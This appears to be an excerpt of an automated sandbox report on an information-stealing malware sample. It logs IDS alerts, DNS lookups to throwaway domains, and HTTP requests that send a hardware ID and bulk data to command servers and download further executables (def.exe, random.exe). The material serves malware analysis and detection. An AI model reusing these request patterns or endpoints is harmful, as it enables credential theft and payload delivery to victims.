22 00 00 00 22 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 31 45 46 38 36 42 36 33 36 38 31 31 30 37 33 34 30 34 30 39 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 2d 2d 0d 0a Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="hwid"91EF86B63681107340409------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="build"stok------GDBKKFHIEGDHJKECAAKK--

Source: Joe Sandbox View	IP Address: 172.67.157.254 172.67.157.254
Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49700 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49702 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49709 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49716 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49703 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49726 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49741 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49751 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49734 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49755 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=A34C8LRG4User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12790Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=KCG68FSEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15016Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WDARQ445QAJ5MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20371Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9WTBNJRAAXB2RSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1226Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ZCJ84QFPH7H2WPYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 579195Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: Bire1g8ahY.exe, 00000000.00000003.1343774938.000000000130A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=044b2140bc73d0d1c4d0ffcb; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveMon, 23 Dec 2024 07:44:17 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: necklacebudi.lat
Source: global traffic	DNS traffic detected: DNS query: energyaffai.lat
Source: global traffic	DNS traffic detected: DNS query: aspecteirs.lat
Source: global traffic	DNS traffic detected: DNS query: sustainskelet.lat
Source: global traffic	DNS traffic detected: DNS query: crosshuaht.lat
Source: global traffic	DNS traffic detected: DNS query: rapeflowwj.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe.
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe3
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeoot
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A07000.00000004.00000020.00020000.00000000.sdmp, 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/MP
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A07000.00000004.00000020.00020000.00000000.sdmp, 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp, 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/RP
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpDPg
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpZm
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpj
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206a
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Bire1g8ahY.exe, 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com
Source: Bire1g8ahY.exe, Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com#
Source: Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com##/#
Source: Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: Bire1g8ahY.exe, Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: Bire1g8ahY.exe, 00000000.00000003.1457483751.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
